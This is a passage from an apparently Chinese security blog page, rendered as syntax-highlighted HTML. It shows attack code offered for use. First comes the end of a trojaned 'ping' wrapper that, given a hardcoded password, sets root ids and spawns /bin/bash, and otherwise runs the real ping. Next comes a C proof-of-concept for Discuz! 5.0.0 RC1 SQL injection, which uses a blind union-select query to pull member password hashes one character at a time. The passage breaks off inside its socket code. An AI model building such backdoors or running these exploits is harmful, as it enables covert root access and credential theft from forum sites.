src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Usage:&nbsp;ping&nbsp;[-LRUbdfnqrvVaA]&nbsp;[-c&nbsp;count]&nbsp;[-i&nbsp;interval]&nbsp;[-w&nbsp;deadline]\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[-p&nbsp;pattern]&nbsp;[-s&nbsp;packetsize]&nbsp;[-t&nbsp;ttl]&nbsp;[-I&nbsp;interface&nbsp;or&nbsp;address]\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[-M&nbsp;mtu&nbsp;discovery&nbsp;hint]&nbsp;[-S&nbsp;sndbuf]\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[&nbsp;-T&nbsp;timestamp&nbsp;option&nbsp;]&nbsp;[&nbsp;-Q&nbsp;tos&nbsp;]&nbsp;[hop1&nbsp;<img src="http://www.phpweblog.net/Images/dot.gif">]&nbsp;destination\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(argc&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;usage);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(argc&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">strcmp</span><span style="COLOR: #000000">(PWD</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">])&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;signal(SIGCHLD</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;sig_chid);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;daemon_init();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;seteuid(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setuid(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setgid(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">system</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/bin/bash</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;(i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;argc;&nbsp;i&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000">)&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(argv_execv[j]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">argv[j]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(argv_execv[j]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;execv(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/bin/ping</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br><br>最后两个,都是dz5rc1的exp,一个c语言单线程,一个py的多线程,都是练手写的<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">/*</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Discuz!&nbsp;5.0.0&nbsp;RC1&nbsp;SQL&nbsp;injection&nbsp;PoC<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Author:&nbsp;wofeiwo&nbsp;thx&nbsp;superheis&nbsp;help<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Date:&nbsp;Aug&nbsp;24th&nbsp;2006<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;stdlib.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;winsock2.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;windows.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">pragma&nbsp;comment&nbsp;(lib,"ws2_32")</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">define&nbsp;PASSLEN&nbsp;32</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HMod[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GET</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">POST</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HttpVer[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">HTTP/1.0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">HTTP/1.1</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HAccept[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;image/gif,&nbsp;image/x-xbitmap,&nbsp;image/jpeg,&nbsp;image/pjpeg,&nbsp;application/x-shockwave-flash,&nbsp;application/vnd.ms-excel,&nbsp;application/vnd.ms-powerpoint,&nbsp;application/msword,&nbsp;*/*</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HAcceptLg[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept-Language:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;zh-cn</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HContentTp[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Content-Type:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;application/x-www-form-urlencoded</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HAcceptEn[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept-Encoding:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;gzip,&nbsp;deflate</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HUserAgent[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">User-Agent:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;SV1;&nbsp;Maxthon)</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HReferer[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">REFERER:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;http://127.0.0.1/dz/logging.php?action=login</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HHost[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Host:&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HContentLg[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Content-Length:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;189</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HContion[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Connection:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;Keep-Alive</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HCacheCtr[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Cache-Control:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;no-cache</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HXForwardedFor[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">X-Forwarded-For:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HCookie[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Cookie:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;cdb_sid=70KRjS;&nbsp;cdb_cookietime=2592000</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HPost[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">formhash=6a49b97f&amp;referer=discuz.php&amp;loginmode=&amp;styleid=&amp;cookietime=2592000&amp;loginfield=username&amp;username=heige&amp;password=123456789&amp;questionid=0&amp;answer=&amp;loginsubmit=%E6%8F%90+%C2%A0+%E4%BA%A4</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;query[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;'&nbsp;union&nbsp;select&nbsp;122,122,122,122,122,122,122,122&nbsp;from&nbsp;cdb_members&nbsp;where&nbsp;uid=%s&nbsp;AND&nbsp;ascii(substring(CONCAT(password),%d,1))=%d&nbsp;/*</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;querystring[</span><span style="COLOR: #000000">128</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;temp1[</span><span style="COLOR: #000000">1024</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp2[</span><span style="COLOR: #000000">10240</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;sanddata(char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">host</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;int&nbsp;port</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">path</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">uid</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;int&nbsp;ascii</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;int&nbsp;chrnum)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;WSADATA&nbsp;&nbsp;WSAData</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">{</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;hostent&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">he;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;sockaddr_in&nbsp;&nbsp;ServerAddr</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">{</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;SOCKET&nbsp;Socket</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;ren&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(WSAStartup(MAKEWORD(</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">WSAData))&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">((he&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">gethostbyname</span><span style="COLOR: #000000">(host))&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stderr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n[-]&nbsp;Failed&nbsp;resolving&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span 